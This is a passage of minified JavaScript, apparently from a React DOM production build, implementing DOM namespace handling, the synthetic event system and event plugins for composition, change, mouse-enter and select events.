Re(e){switch(e){case"svg":return"http://www.w3.org/2000/svg";case"math":return"http://www.w3.org/1998/Math/MathML";default:return"http://www.w3.org/1999/xhtml"}}function je(e,t){return null==e||"http://www.w3.org/1999/xhtml"===e?Re(t):"http://www.w3.org/2000/svg"===e&&"foreignObject"===t?"http://www.w3.org/1999/xhtml":e}var Fe,Le=function(e){return"undefined"!==typeof MSApp&&MSApp.execUnsafeLocalFunction?function(t,n,r,i){MSApp.execUnsafeLocalFunction((function(){return e(t,n)}))}:e}((function(e,t){if(e.namespaceURI!==Ie||"innerHTML"in e)e.innerHTML=t;else{for((Fe=Fe||document.createElement("div")).innerHTML="<svg>"+t.valueOf().toString()+"</svg>",t=Fe.firstChild;e.firstChild;)e.removeChild(e.firstChild);for(;t.firstChild;)e.appendChild(t.firstChild)}}));function Be(e,t){if(t){var n=e.firstChild;if(n&&n===e.lastChild&&3===n.nodeType)return void(n.nodeValue=t)}e.textContent=t}function Ve(e,t){var n={};return n[e.toLowerCase()]=t.toLowerCase(),n["Webkit"+e]="webkit"+t,n["Moz"+e]="moz"+t,n}var He={animationend:Ve("Animation","AnimationEnd"),animationiteration:Ve("Animation","AnimationIteration"),animationstart:Ve("Animation","AnimationStart"),transitionend:Ve("Transition","TransitionEnd")},We={},qe={};function Ye(e){if(We[e])return We[e];if(!He[e])return e;var t,n=He[e];for(t in n)if(n.hasOwnProperty(t)&&t in qe)return We[e]=n[t];return e}O&&(qe=document.createElement("div").style,"AnimationEvent"in window||(delete He.animationend.animation,delete He.animationiteration.animation,delete He.animationstart.animation),"TransitionEvent"in window||delete He.transitionend.transition);var Ue=Ye("animationend"),$e=Ye("animationiteration"),Ge=Ye("animationstart"),Ze=Ye("transitionend"),Xe="abort canplay canplaythrough durationchange emptied encrypted ended error loadeddata loadedmetadata loadstart pause play playing progress ratechange seeked seeking stalled suspend timeupdate volumechange waiting".split(" "),Ke=new("function"===typeof WeakMap?WeakMap:Map);function Qe(e){var t=Ke.get(e);return void 0===t&&(t=new Map,Ke.set(e,t)),t}function Je(e){var t=e,n=e;if(e.alternate)for(;t.return;)t=t.return;else{e=t;do{0!==(1026&(t=e).effectTag)&&(n=t.return),e=t.return}while(e)}return 3===t.tag?n:null}function et(e){if(13===e.tag){var t=e.memoizedState;if(null===t&&(null!==(e=e.alternate)&&(t=e.memoizedState)),null!==t)return t.dehydrated}return null}function tt(e){if(Je(e)!==e)throw Error(o(188))}function nt(e){if(!(e=function(e){var t=e.alternate;if(!t){if(null===(t=Je(e)))throw Error(o(188));return t!==e?null:e}for(var n=e,r=t;;){var i=n.return;if(null===i)break;var a=i.alternate;if(null===a){if(null!==(r=i.return)){n=r;continue}break}if(i.child===a.child){for(a=i.child;a;){if(a===n)return tt(i),e;if(a===r)return tt(i),t;a=a.sibling}throw Error(o(188))}if(n.return!==r.return)n=i,r=a;else{for(var s=!1,l=i.child;l;){if(l===n){s=!0,n=i,r=a;break}if(l===r){s=!0,r=i,n=a;break}l=l.sibling}if(!s){for(l=a.child;l;){if(l===n){s=!0,n=a,r=i;break}if(l===r){s=!0,r=a,n=i;break}l=l.sibling}if(!s)throw Error(o(189))}}if(n.alternate!==r)throw Error(o(190))}if(3!==n.tag)throw Error(o(188));return n.stateNode.current===n?e:t}(e)))return null;for(var t=e;;){if(5===t.tag||6===t.tag)return t;if(t.child)t.child.return=t,t=t.child;else{if(t===e)break;for(;!t.sibling;){if(!t.return||t.return===e)return null;t=t.return}t.sibling.return=t.return,t=t.sibling}}return null}function rt(e,t){if(null==t)throw Error(o(30));return null==e?t:Array.isArray(e)?Array.isArray(t)?(e.push.apply(e,t),e):(e.push(t),e):Array.isArray(t)?[e].concat(t):[e,t]}function it(e,t,n){Array.isArray(e)?e.forEach(t,n):e&&t.call(n,e)}var at=null;function ot(e){if(e){var t=e._dispatchListeners,n=e._dispatchInstances;if(Array.isArray(t))for(var r=0;r<t.length&&!e.isPropagationStopped();r++)g(e,t[r],n[r]);else t&&g(e,t,n);e._dispatchListeners=null,e._dispatchInstances=null,e.isPersistent()||e.constructor.release(e)}}function st(e){if(null!==e&&(at=rt(at,e)),e=at,at=null,e){if(it(e,ot),at)throw Error(o(95));if(c)throw e=f,c=!1,f=null,e}}function lt(e){return(e=e.target||e.srcElement||window).correspondingUseElement&&(e=e.correspondingUseElement),3===e.nodeType?e.parentNode:e}function ut(e){if(!O)return!1;var t=(e="on"+e)in document;return t||((t=document.createElement("div")).setAttribute(e,"return;"),t="function"===typeof t[e]),t}var ct=[];function ft(e){e.topLevelType=null,e.nativeEvent=null,e.targetInst=null,e.ancestors.length=0,10>ct.length&&ct.push(e)}function ht(e,t,n,r){if(ct.length){var i=ct.pop();return i.topLevelType=e,i.eventSystemFlags=r,i.nativeEvent=t,i.targetInst=n,i}return{topLevelType:e,eventSystemFlags:r,nativeEvent:t,targetInst:n,ancestors:[]}}function dt(e){var t=e.targetInst,n=t;do{if(!n){e.ancestors.push(n);break}var r=n;if(3===r.tag)r=r.stateNode.containerInfo;else{for(;r.return;)r=r.return;r=3!==r.tag?null:r.stateNode.containerInfo}if(!r)break;5!==(t=n.tag)&&6!==t||e.ancestors.push(n),n=On(r)}while(n);for(n=0;n<e.ancestors.length;n++){t=e.ancestors[n];var i=lt(e.nativeEvent);r=e.topLevelType;var a=e.nativeEvent,o=e.eventSystemFlags;0===n&&(o|=64);for(var s=null,l=0;l<k.length;l++){var u=k[l];u&&(u=u.extractEvents(r,t,a,i,o))&&(s=rt(s,u))}st(s)}}function pt(e,t,n){if(!n.has(e)){switch(e){case"scroll":Gt(t,"scroll",!0);break;case"focus":case"blur":Gt(t,"focus",!0),Gt(t,"blur",!0),n.set("blur",null),n.set("focus",null);break;case"cancel":case"close":ut(e)&&Gt(t,e,!0);break;case"invalid":case"submit":case"reset":break;default:-1===Xe.indexOf(e)&&$t(e,t)}n.set(e,null)}}var mt,vt,gt,yt=!1,bt=[],xt=null,wt=null,kt=null,_t=new Map,Mt=new Map,St=[],Tt="mousedown mouseup touchcancel touchend touchstart auxclick dblclick pointercancel pointerdown pointerup dragend dragstart drop compositionend compositionstart keydown keypress keyup input textInput close cancel copy cut paste click change contextmenu reset submit".split(" "),Ot="focus blur dragenter dragleave mouseover mouseout pointerover pointerout gotpointercapture lostpointercapture".split(" ");function Et(e,t,n,r,i){return{blockedOn:e,topLevelType:t,eventSystemFlags:32|n,nativeEvent:i,container:r}}function Ct(e,t){switch(e){case"focus":case"blur":xt=null;break;case"dragenter":case"dragleave":wt=null;break;case"mouseover":case"mouseout":kt=null;break;case"pointerover":case"pointerout":_t.delete(t.pointerId);break;case"gotpointercapture":case"lostpointercapture":Mt.delete(t.pointerId)}}function Nt(e,t,n,r,i,a){return null===e||e.nativeEvent!==a?(e=Et(t,n,r,i,a),null!==t&&(null!==(t=En(t))&&vt(t)),e):(e.eventSystemFlags|=r,e)}function Pt(e){var t=On(e.target);if(null!==t){var n=Je(t);if(null!==n)if(13===(t=n.tag)){if(null!==(t=et(n)))return e.blockedOn=t,void a.unstable_runWithPriority(e.priority,(function(){gt(n)}))}else if(3===t&&n.stateNode.hydrate)return void(e.blockedOn=3===n.tag?n.stateNode.containerInfo:null)}e.blockedOn=null}function At(e){if(null!==e.blockedOn)return!1;var t=Qt(e.topLevelType,e.eventSystemFlags,e.container,e.nativeEvent);if(null!==t){var n=En(t);return null!==n&&vt(n),e.blockedOn=t,!1}return!0}function zt(e,t,n){At(e)&&n.delete(t)}function Dt(){for(yt=!1;0<bt.length;){var e=bt[0];if(null!==e.blockedOn){null!==(e=En(e.blockedOn))&&mt(e);break}var t=Qt(e.topLevelType,e.eventSystemFlags,e.container,e.nativeEvent);null!==t?e.blockedOn=t:bt.shift()}null!==xt&&At(xt)&&(xt=null),null!==wt&&At(wt)&&(wt=null),null!==kt&&At(kt)&&(kt=null),_t.forEach(zt),Mt.forEach(zt)}function It(e,t){e.blockedOn===t&&(e.blockedOn=null,yt||(yt=!0,a.unstable_scheduleCallback(a.unstable_NormalPriority,Dt)))}function Rt(e){function t(t){return It(t,e)}if(0<bt.length){It(bt[0],e);for(var n=1;n<bt.length;n++){var r=bt[n];r.blockedOn===e&&(r.blockedOn=null)}}for(null!==xt&&It(xt,e),null!==wt&&It(wt,e),null!==kt&&It(kt,e),_t.forEach(t),Mt.forEach(t),n=0;n<St.length;n++)(r=St[n]).blockedOn===e&&(r.blockedOn=null);for(;0<St.length&&null===(n=St[0]).blockedOn;)Pt(n),null===n.blockedOn&&St.shift()}var jt={},Ft=new Map,Lt=new Map,Bt=["abort","abort",Ue,"animationEnd",$e,"animationIteration",Ge,"animationStart","canplay","canPlay","canplaythrough","canPlayThrough","durationchange","durationChange","emptied","emptied","encrypted","encrypted","ended","ended","error","error","gotpointercapture","gotPointerCapture","load","load","loadeddata","loadedData","loadedmetadata","loadedMetadata","loadstart","loadStart","lostpointercapture","lostPointerCapture","playing","playing","progress","progress","seeking","seeking","stalled","stalled","suspend","suspend","timeupdate","timeUpdate",Ze,"transitionEnd","waiting","waiting"];function Vt(e,t){for(var n=0;n<e.length;n+=2){var r=e[n],i=e[n+1],a="on"+(i[0].toUpperCase()+i.slice(1));a={phasedRegistrationNames:{bubbled:a,captured:a+"Capture"},dependencies:[r],eventPriority:t},Lt.set(r,t),Ft.set(r,a),jt[i]=a}}Vt("blur blur cancel cancel click click close close contextmenu contextMenu copy copy cut cut auxclick auxClick dblclick doubleClick dragend dragEnd dragstart dragStart drop drop focus focus input input invalid invalid keydown keyDown keypress keyPress keyup keyUp mousedown mouseDown mouseup mouseUp paste paste pause pause play play pointercancel pointerCancel pointerdown pointerDown pointerup pointerUp ratechange rateChange reset reset seeked seeked submit submit touchcancel touchCancel touchend touchEnd touchstart touchStart volumechange volumeChange".split(" "),0),Vt("drag drag dragenter dragEnter dragexit dragExit dragleave dragLeave dragover dragOver mousemove mouseMove mouseout mouseOut mouseover mouseOver pointermove pointerMove pointerout pointerOut pointerover pointerOver scroll scroll toggle toggle touchmove touchMove wheel wheel".split(" "),1),Vt(Bt,2);for(var Ht="change selectionchange textInput compositionstart compositionend compositionupdate".split(" "),Wt=0;Wt<Ht.length;Wt++)Lt.set(Ht[Wt],0);var qt=a.unstable_UserBlockingPriority,Yt=a.unstable_runWithPriority,Ut=!0;function $t(e,t){Gt(t,e,!1)}function Gt(e,t,n){var r=Lt.get(t);switch(void 0===r?2:r){case 0:r=Zt.bind(null,t,1,e);break;case 1:r=Xt.bind(null,t,1,e);break;default:r=Kt.bind(null,t,1,e)}n?e.addEventListener(t,r,!0):e.addEventListener(t,r,!1)}function Zt(e,t,n,r){F||R();var i=Kt,a=F;F=!0;try{I(i,e,t,n,r)}finally{(F=a)||B()}}function Xt(e,t,n,r){Yt(qt,Kt.bind(null,e,t,n,r))}function Kt(e,t,n,r){if(Ut)if(0<bt.length&&-1<Tt.indexOf(e))e=Et(null,e,t,n,r),bt.push(e);else{var i=Qt(e,t,n,r);if(null===i)Ct(e,r);else if(-1<Tt.indexOf(e))e=Et(i,e,t,n,r),bt.push(e);else if(!function(e,t,n,r,i){switch(t){case"focus":return xt=Nt(xt,e,t,n,r,i),!0;case"dragenter":return wt=Nt(wt,e,t,n,r,i),!0;case"mouseover":return kt=Nt(kt,e,t,n,r,i),!0;case"pointerover":var a=i.pointerId;return _t.set(a,Nt(_t.get(a)||null,e,t,n,r,i)),!0;case"gotpointercapture":return a=i.pointerId,Mt.set(a,Nt(Mt.get(a)||null,e,t,n,r,i)),!0}return!1}(i,e,t,n,r)){Ct(e,r),e=ht(e,r,null,t);try{V(dt,e)}finally{ft(e)}}}}function Qt(e,t,n,r){if(null!==(n=On(n=lt(r)))){var i=Je(n);if(null===i)n=null;else{var a=i.tag;if(13===a){if(null!==(n=et(i)))return n;n=null}else if(3===a){if(i.stateNode.hydrate)return 3===i.tag?i.stateNode.containerInfo:null;n=null}else i!==n&&(n=null)}}e=ht(e,r,n,t);try{V(dt,e)}finally{ft(e)}return null}var Jt={animationIterationCount:!0,borderImageOutset:!0,borderImageSlice:!0,borderImageWidth:!0,boxFlex:!0,boxFlexGroup:!0,boxOrdinalGroup:!0,columnCount:!0,columns:!0,flex:!0,flexGrow:!0,flexPositive:!0,flexShrink:!0,flexNegative:!0,flexOrder:!0,gridArea:!0,gridRow:!0,gridRowEnd:!0,gridRowSpan:!0,gridRowStart:!0,gridColumn:!0,gridColumnEnd:!0,gridColumnSpan:!0,gridColumnStart:!0,fontWeight:!0,lineClamp:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,tabSize:!0,widows:!0,zIndex:!0,zoom:!0,fillOpacity:!0,floodOpacity:!0,stopOpacity:!0,strokeDasharray:!0,strokeDashoffset:!0,strokeMiterlimit:!0,strokeOpacity:!0,strokeWidth:!0},en=["Webkit","ms","Moz","O"];function tn(e,t,n){return null==t||"boolean"===typeof t||""===t?"":n||"number"!==typeof t||0===t||Jt.hasOwnProperty(e)&&Jt[e]?(""+t).trim():t+"px"}function nn(e,t){for(var n in e=e.style,t)if(t.hasOwnProperty(n)){var r=0===n.indexOf("--"),i=tn(n,t[n],r);"float"===n&&(n="cssFloat"),r?e.setProperty(n,i):e[n]=i}}Object.keys(Jt).forEach((function(e){en.forEach((function(t){t=t+e.charAt(0).toUpperCase()+e.substring(1),Jt[t]=Jt[e]}))}));var rn=i({menuitem:!0},{area:!0,base:!0,br:!0,col:!0,embed:!0,hr:!0,img:!0,input:!0,keygen:!0,link:!0,meta:!0,param:!0,source:!0,track:!0,wbr:!0});function an(e,t){if(t){if(rn[e]&&(null!=t.children||null!=t.dangerouslySetInnerHTML))throw Error(o(137,e,""));if(null!=t.dangerouslySetInnerHTML){if(null!=t.children)throw Error(o(60));if("object"!==typeof t.dangerouslySetInnerHTML||!("__html"in t.dangerouslySetInnerHTML))throw Error(o(61))}if(null!=t.style&&"object"!==typeof t.style)throw Error(o(62,""))}}function on(e,t){if(-1===e.indexOf("-"))return"string"===typeof t.is;switch(e){case"annotation-xml":case"color-profile":case"font-face":case"font-face-src":case"font-face-uri":case"font-face-format":case"font-face-name":case"missing-glyph":return!1;default:return!0}}var sn=De;function ln(e,t){var n=Qe(e=9===e.nodeType||11===e.nodeType?e:e.ownerDocument);t=S[t];for(var r=0;r<t.length;r++)pt(t[r],e,n)}function un(){}function cn(e){if("undefined"===typeof(e=e||("undefined"!==typeof document?document:void 0)))return null;try{return e.activeElement||e.body}catch(t){return e.body}}function fn(e){for(;e&&e.firstChild;)e=e.firstChild;return e}function hn(e,t){var n,r=fn(e);for(e=0;r;){if(3===r.nodeType){if(n=e+r.textContent.length,e<=t&&n>=t)return{node:r,offset:t-e};e=n}e:{for(;r;){if(r.nextSibling){r=r.nextSibling;break e}r=r.parentNode}r=void 0}r=fn(r)}}function dn(){for(var e=window,t=cn();t instanceof e.HTMLIFrameElement;){try{var n="string"===typeof t.contentWindow.location.href}catch(r){n=!1}if(!n)break;t=cn((e=t.contentWindow).document)}return t}function pn(e){var t=e&&e.nodeName&&e.nodeName.toLowerCase();return t&&("input"===t&&("text"===e.type||"search"===e.type||"tel"===e.type||"url"===e.type||"password"===e.type)||"textarea"===t||"true"===e.contentEditable)}var mn=null,vn=null;function gn(e,t){switch(e){case"button":case"input":case"select":case"textarea":return!!t.autoFocus}return!1}function yn(e,t){return"textarea"===e||"option"===e||"noscript"===e||"string"===typeof t.children||"number"===typeof t.children||"object"===typeof t.dangerouslySetInnerHTML&&null!==t.dangerouslySetInnerHTML&&null!=t.dangerouslySetInnerHTML.__html}var bn="function"===typeof setTimeout?setTimeout:void 0,xn="function"===typeof clearTimeout?clearTimeout:void 0;function wn(e){for(;null!=e;e=e.nextSibling){var t=e.nodeType;if(1===t||3===t)break}return e}function kn(e){e=e.previousSibling;for(var t=0;e;){if(8===e.nodeType){var n=e.data;if("$"===n||"$!"===n||"$?"===n){if(0===t)return e;t--}else"/$"===n&&t++}e=e.previousSibling}return null}var _n=Math.random().toString(36).slice(2),Mn="__reactInternalInstance$"+_n,Sn="__reactEventHandlers$"+_n,Tn="__reactContainere$"+_n;function On(e){var t=e[Mn];if(t)return t;for(var n=e.parentNode;n;){if(t=n[Tn]||n[Mn]){if(n=t.alternate,null!==t.child||null!==n&&null!==n.child)for(e=kn(e);null!==e;){if(n=e[Mn])return n;e=kn(e)}return t}n=(e=n).parentNode}return null}function En(e){return!(e=e[Mn]||e[Tn])||5!==e.tag&&6!==e.tag&&13!==e.tag&&3!==e.tag?null:e}function Cn(e){if(5===e.tag||6===e.tag)return e.stateNode;throw Error(o(33))}function Nn(e){return e[Sn]||null}function Pn(e){do{e=e.return}while(e&&5!==e.tag);return e||null}function An(e,t){var n=e.stateNode;if(!n)return null;var r=p(n);if(!r)return null;n=r[t];e:switch(t){case"onClick":case"onClickCapture":case"onDoubleClick":case"onDoubleClickCapture":case"onMouseDown":case"onMouseDownCapture":case"onMouseMove":case"onMouseMoveCapture":case"onMouseUp":case"onMouseUpCapture":case"onMouseEnter":(r=!r.disabled)||(r=!("button"===(e=e.type)||"input"===e||"select"===e||"textarea"===e)),e=!r;break e;default:e=!1}if(e)return null;if(n&&"function"!==typeof n)throw Error(o(231,t,typeof n));return n}function zn(e,t,n){(t=An(e,n.dispatchConfig.phasedRegistrationNames[t]))&&(n._dispatchListeners=rt(n._dispatchListeners,t),n._dispatchInstances=rt(n._dispatchInstances,e))}function Dn(e){if(e&&e.dispatchConfig.phasedRegistrationNames){for(var t=e._targetInst,n=[];t;)n.push(t),t=Pn(t);for(t=n.length;0<t--;)zn(n[t],"captured",e);for(t=0;t<n.length;t++)zn(n[t],"bubbled",e)}}function In(e,t,n){e&&n&&n.dispatchConfig.registrationName&&(t=An(e,n.dispatchConfig.registrationName))&&(n._dispatchListeners=rt(n._dispatchListeners,t),n._dispatchInstances=rt(n._dispatchInstances,e))}function Rn(e){e&&e.dispatchConfig.registrationName&&In(e._targetInst,null,e)}function jn(e){it(e,Dn)}var Fn=null,Ln=null,Bn=null;function Vn(){if(Bn)return Bn;var e,t,n=Ln,r=n.length,i="value"in Fn?Fn.value:Fn.textContent,a=i.length;for(e=0;e<r&&n[e]===i[e];e++);var o=r-e;for(t=1;t<=o&&n[r-t]===i[a-t];t++);return Bn=i.slice(e,1<t?1-t:void 0)}function Hn(){return!0}function Wn(){return!1}function qn(e,t,n,r){for(var i in this.dispatchConfig=e,this._targetInst=t,this.nativeEvent=n,e=this.constructor.Interface)e.hasOwnProperty(i)&&((t=e[i])?this[i]=t(n):"target"===i?this.target=r:this[i]=n[i]);return this.isDefaultPrevented=(null!=n.defaultPrevented?n.defaultPrevented:!1===n.returnValue)?Hn:Wn,this.isPropagationStopped=Wn,this}function Yn(e,t,n,r){if(this.eventPool.length){var i=this.eventPool.pop();return this.call(i,e,t,n,r),i}return new this(e,t,n,r)}function Un(e){if(!(e instanceof this))throw Error(o(279));e.destructor(),10>this.eventPool.length&&this.eventPool.push(e)}function $n(e){e.eventPool=[],e.getPooled=Yn,e.release=Un}i(qn.prototype,{preventDefault:function(){this.defaultPrevented=!0;var e=this.nativeEvent;e&&(e.preventDefault?e.preventDefault():"unknown"!==typeof e.returnValue&&(e.returnValue=!1),this.isDefaultPrevented=Hn)},stopPropagation:function(){var e=this.nativeEvent;e&&(e.stopPropagation?e.stopPropagation():"unknown"!==typeof e.cancelBubble&&(e.cancelBubble=!0),this.isPropagationStopped=Hn)},persist:function(){this.isPersistent=Hn},isPersistent:Wn,destructor:function(){var e,t=this.constructor.Interface;for(e in t)this[e]=null;this.nativeEvent=this._targetInst=this.dispatchConfig=null,this.isPropagationStopped=this.isDefaultPrevented=Wn,this._dispatchInstances=this._dispatchListeners=null}}),qn.Interface={type:null,target:null,currentTarget:function(){return null},eventPhase:null,bubbles:null,cancelable:null,timeStamp:function(e){return e.timeStamp||Date.now()},defaultPrevented:null,isTrusted:null},qn.extend=function(e){function t(){}function n(){return r.apply(this,arguments)}var r=this;t.prototype=r.prototype;var a=new t;return i(a,n.prototype),n.prototype=a,n.prototype.constructor=n,n.Interface=i({},r.Interface,e),n.extend=r.extend,$n(n),n},$n(qn);var Gn=qn.extend({data:null}),Zn=qn.extend({data:null}),Xn=[9,13,27,32],Kn=O&&"CompositionEvent"in window,Qn=null;O&&"documentMode"in document&&(Qn=document.documentMode);var Jn=O&&"TextEvent"in window&&!Qn,er=O&&(!Kn||Qn&&8<Qn&&11>=Qn),tr=String.fromCharCode(32),nr={beforeInput:{phasedRegistrationNames:{bubbled:"onBeforeInput",captured:"onBeforeInputCapture"},dependencies:["compositionend","keypress","textInput","paste"]},compositionEnd:{phasedRegistrationNames:{bubbled:"onCompositionEnd",captured:"onCompositionEndCapture"},dependencies:"blur compositionend keydown keypress keyup mousedown".split(" ")},compositionStart:{phasedRegistrationNames:{bubbled:"onCompositionStart",captured:"onCompositionStartCapture"},dependencies:"blur compositionstart keydown keypress keyup mousedown".split(" ")},compositionUpdate:{phasedRegistrationNames:{bubbled:"onCompositionUpdate",captured:"onCompositionUpdateCapture"},dependencies:"blur compositionupdate keydown keypress keyup mousedown".split(" ")}},rr=!1;function ir(e,t){switch(e){case"keyup":return-1!==Xn.indexOf(t.keyCode);case"keydown":return 229!==t.keyCode;case"keypress":case"mousedown":case"blur":return!0;default:return!1}}function ar(e){return"object"===typeof(e=e.detail)&&"data"in e?e.data:null}var or=!1;var sr={eventTypes:nr,extractEvents:function(e,t,n,r){var i;if(Kn)e:{switch(e){case"compositionstart":var a=nr.compositionStart;break e;case"compositionend":a=nr.compositionEnd;break e;case"compositionupdate":a=nr.compositionUpdate;break e}a=void 0}else or?ir(e,n)&&(a=nr.compositionEnd):"keydown"===e&&229===n.keyCode&&(a=nr.compositionStart);return a?(er&&"ko"!==n.locale&&(or||a!==nr.compositionStart?a===nr.compositionEnd&&or&&(i=Vn()):(Ln="value"in(Fn=r)?Fn.value:Fn.textContent,or=!0)),a=Gn.getPooled(a,t,n,r),i?a.data=i:null!==(i=ar(n))&&(a.data=i),jn(a),i=a):i=null,(e=Jn?function(e,t){switch(e){case"compositionend":return ar(t);case"keypress":return 32!==t.which?null:(rr=!0,tr);case"textInput":return(e=t.data)===tr&&rr?null:e;default:return null}}(e,n):function(e,t){if(or)return"compositionend"===e||!Kn&&ir(e,t)?(e=Vn(),Bn=Ln=Fn=null,or=!1,e):null;switch(e){case"paste":return null;case"keypress":if(!(t.ctrlKey||t.altKey||t.metaKey)||t.ctrlKey&&t.altKey){if(t.char&&1<t.char.length)return t.char;if(t.which)return String.fromCharCode(t.which)}return null;case"compositionend":return er&&"ko"!==t.locale?null:t.data;default:return null}}(e,n))?((t=Zn.getPooled(nr.beforeInput,t,n,r)).data=e,jn(t)):t=null,null===i?t:null===t?i:[i,t]}},lr={color:!0,date:!0,datetime:!0,"datetime-local":!0,email:!0,month:!0,number:!0,password:!0,range:!0,search:!0,tel:!0,text:!0,time:!0,url:!0,week:!0};function ur(e){var t=e&&e.nodeName&&e.nodeName.toLowerCase();return"input"===t?!!lr[e.type]:"textarea"===t}var cr={change:{phasedRegistrationNames:{bubbled:"onChange",captured:"onChangeCapture"},dependencies:"blur change click focus input keydown keyup selectionchange".split(" ")}};function fr(e,t,n){return(e=qn.getPooled(cr.change,e,t,n)).type="change",A(n),jn(e),e}var hr=null,dr=null;function pr(e){st(e)}function mr(e){if(we(Cn(e)))return e}function vr(e,t){if("change"===e)return t}var gr=!1;function yr(){hr&&(hr.detachEvent("onpropertychange",br),dr=hr=null)}function br(e){if("value"===e.propertyName&&mr(dr))if(e=fr(dr,e,lt(e)),F)st(e);else{F=!0;try{D(pr,e)}finally{F=!1,B()}}}function xr(e,t,n){"focus"===e?(yr(),dr=n,(hr=t).attachEvent("onpropertychange",br)):"blur"===e&&yr()}function wr(e){if("selectionchange"===e||"keyup"===e||"keydown"===e)return mr(dr)}function kr(e,t){if("click"===e)return mr(t)}function _r(e,t){if("input"===e||"change"===e)return mr(t)}O&&(gr=ut("input")&&(!document.documentMode||9<document.documentMode));var Mr={eventTypes:cr,_isInputEventSupported:gr,extractEvents:function(e,t,n,r){var i=t?Cn(t):window,a=i.nodeName&&i.nodeName.toLowerCase();if("select"===a||"input"===a&&"file"===i.type)var o=vr;else if(ur(i))if(gr)o=_r;else{o=wr;var s=xr}else(a=i.nodeName)&&"input"===a.toLowerCase()&&("checkbox"===i.type||"radio"===i.type)&&(o=kr);if(o&&(o=o(e,t)))return fr(o,n,r);s&&s(e,i,t),"blur"===e&&(e=i._wrapperState)&&e.controlled&&"number"===i.type&&Oe(i,"number",i.value)}},Sr=qn.extend({view:null,detail:null}),Tr={Alt:"altKey",Control:"ctrlKey",Meta:"metaKey",Shift:"shiftKey"};function Or(e){var t=this.nativeEvent;return t.getModifierState?t.getModifierState(e):!!(e=Tr[e])&&!!t[e]}function Er(){return Or}var Cr=0,Nr=0,Pr=!1,Ar=!1,zr=Sr.extend({screenX:null,screenY:null,clientX:null,clientY:null,pageX:null,pageY:null,ctrlKey:null,shiftKey:null,altKey:null,metaKey:null,getModifierState:Er,button:null,buttons:null,relatedTarget:function(e){return e.relatedTarget||(e.fromElement===e.srcElement?e.toElement:e.fromElement)},movementX:function(e){if("movementX"in e)return e.movementX;var t=Cr;return Cr=e.screenX,Pr?"mousemove"===e.type?e.screenX-t:0:(Pr=!0,0)},movementY:function(e){if("movementY"in e)return e.movementY;var t=Nr;return Nr=e.screenY,Ar?"mousemove"===e.type?e.screenY-t:0:(Ar=!0,0)}}),Dr=zr.extend({pointerId:null,width:null,height:null,pressure:null,tangentialPressure:null,tiltX:null,tiltY:null,twist:null,pointerType:null,isPrimary:null}),Ir={mouseEnter:{registrationName:"onMouseEnter",dependencies:["mouseout","mouseover"]},mouseLeave:{registrationName:"onMouseLeave",dependencies:["mouseout","mouseover"]},pointerEnter:{registrationName:"onPointerEnter",dependencies:["pointerout","pointerover"]},pointerLeave:{registrationName:"onPointerLeave",dependencies:["pointerout","pointerover"]}},Rr={eventTypes:Ir,extractEvents:function(e,t,n,r,i){var a="mouseover"===e||"pointerover"===e,o="mouseout"===e||"pointerout"===e;if(a&&0===(32&i)&&(n.relatedTarget||n.fromElement)||!o&&!a)return null;(a=r.window===r?r:(a=r.ownerDocument)?a.defaultView||a.parentWindow:window,o)?(o=t,null!==(t=(t=n.relatedTarget||n.toElement)?On(t):null)&&(t!==Je(t)||5!==t.tag&&6!==t.tag)&&(t=null)):o=null;if(o===t)return null;if("mouseout"===e||"mouseover"===e)var s=zr,l=Ir.mouseLeave,u=Ir.mouseEnter,c="mouse";else"pointerout"!==e&&"pointerover"!==e||(s=Dr,l=Ir.pointerLeave,u=Ir.pointerEnter,c="pointer");if(e=null==o?a:Cn(o),a=null==t?a:Cn(t),(l=s.getPooled(l,o,n,r)).type=c+"leave",l.target=e,l.relatedTarget=a,(n=s.getPooled(u,t,n,r)).type=c+"enter",n.target=a,n.relatedTarget=e,c=t,(r=o)&&c)e:{for(u=c,o=0,e=s=r;e;e=Pn(e))o++;for(e=0,t=u;t;t=Pn(t))e++;for(;0<o-e;)s=Pn(s),o--;for(;0<e-o;)u=Pn(u),e--;for(;o--;){if(s===u||s===u.alternate)break e;s=Pn(s),u=Pn(u)}s=null}else s=null;for(u=s,s=[];r&&r!==u&&(null===(o=r.alternate)||o!==u);)s.push(r),r=Pn(r);for(r=[];c&&c!==u&&(null===(o=c.alternate)||o!==u);)r.push(c),c=Pn(c);for(c=0;c<s.length;c++)In(s[c],"bubbled",l);for(c=r.length;0<c--;)In(r[c],"captured",n);return 0===(64&i)?[l]:[l,n]}};var jr="function"===typeof Object.is?Object.is:function(e,t){return e===t&&(0!==e||1/e===1/t)||e!==e&&t!==t},Fr=Object.prototype.hasOwnProperty;function Lr(e,t){if(jr(e,t))return!0;if("object"!==typeof e||null===e||"object"!==typeof t||null===t)return!1;var n=Object.keys(e),r=Object.keys(t);if(n.length!==r.length)return!1;for(r=0;r<n.length;r++)if(!Fr.call(t,n[r])||!jr(e[n[r]],t[n[r]]))return!1;return!0}var Br=O&&"documentMode"in document&&11>=document.documentMode,Vr={select:{phasedRegistrationNames:{bubbled:"onSelect",captured:"onSelectCapture"},dependencies:"blur contextmenu dragend focus keydown keyup mousedown mouseup selectionchange".split(" ")}},Hr=null,Wr=null,qr=null,Yr=!1;function Ur(e,t){var n=t.window===t?t.document:9===t.nodeType?t:t.ownerDocument;return Yr||null==Hr||Hr!==cn(n)?null:("selectionStart"in(n=Hr)&&pn(n)?n={start:n.selectionStart,end:n.selectionEnd}:n={anchorNode:(n=(n.ownerDocument&&n.ownerDocument.defaultView||window).getSelection()).anchorNode,anchorOffset:n.anchorOffset,focusNode:n.focusNode,focusOffset:n.focusOffset},qr&&Lr(qr,n)?null:(qr=n,(e=qn.getPooled(Vr.select,Wr,e,t)).type="select",e.target=Hr,jn(e),e))}var $r={eventTypes:Vr,extractEvents:function(e,t,n,r,i,a){if(!(a=!(i=a||(r.window===r?r.document:9===r.nodeType?r:r.ownerDocument)))){e:{i=Qe(i),a=S.onSelect;for(var o=0;o<a.length;o++)if(!i.has(a[o])){i=!1;break e}i=!0}a=!i}if(a)return null;switch(i=t?Cn(t):window,e){case"focus":(ur(i)||"true"===i.contentEditable)&&(Hr=i,Wr=t,qr=null);break;case"blur":qr=Wr=Hr=null;break;case"mousedown":Yr=!0;break;case"contextmenu":case"mouseup":case"dragend":return Yr=!1,Ur(n,r);case"selectionchange":if(Br)break;case"keydown":case"keyup":return Ur(n,r)}return null}},Gr=qn.extend({animationName:null,elapsedTime:null,pseudoElement:null}),Zr=qn.extend({clipboardData:function(e){return"clipboardData"in e?e.clipboardData:window.clipboardData}}),Xr=Sr.extend({relatedTarget:null});function Kr(e){var 